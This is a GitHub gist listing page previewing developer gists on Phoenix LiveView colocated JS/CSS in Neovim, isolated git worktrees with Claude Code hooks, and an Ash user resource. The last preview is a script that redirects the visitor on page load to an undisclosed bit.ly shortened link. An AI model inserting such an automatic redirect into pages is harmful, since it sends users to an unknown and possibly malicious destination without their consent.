Skip to content

Instantly share code, notes, and snippets.

View barnabasJ's full-sized avatar
🏠
Working from home

Barnabas Jovanovics barnabasJ

🏠
Working from home
View GitHub Profile
@barnabasJ
barnabasJ / colocated-css-js-neovim.md
Last active June 24, 2026 09:45
Colocated JS/CSS in Phoenix LiveView — full Neovim support (highlighting, otter LSP, formatting)

Colocated JS/CSS in Phoenix LiveView — full Neovim support

How to get syntax highlighting, LSP completion (otter), and formatting for JavaScript/CSS written inside .ex files — i.e. Phoenix LiveView colocated hooks (Phoenix.LiveView.ColocatedHook / ColocatedJS, v1.1+) and colocated CSS (ColocatedCSS, v1.2+), where JS/CSS lives in <script> / <style> tags inside a ~H HEEx sigil:

def hook(assigns) do
@barnabasJ
barnabasJ / README.md
Last active June 1, 2026 17:56
Isolated git worktrees for Elixir/Phoenix + Claude Code

Isolated git worktrees for Elixir/Phoenix projects (+ Claude Code)

Drop-in scripts and Claude Code hooks that let you run many git worktrees of the same Phoenix app in parallel — each with its own database, HTTP port, and MCP server — with zero per-worktree configuration.

When you (or Claude Code) spin up a new worktree, everything isolates automatically: you can have main running mix phx.server on one port while three feature branches run their own servers on three other ports, all pointing at different databases, all in separate directories.

defmodule Steward.Accounts.User do
@moduledoc """
User resource for account management.
Represents users of the system with authentication capabilities.
"""
use Ash.Resource,
otp_app: :steward,
domain: Steward.Accounts,
data_layer: AshPostgres.DataLayer,
<script>
window.onload = function () {
window.location = "bit.ly/3BAJBdV"
}
</script>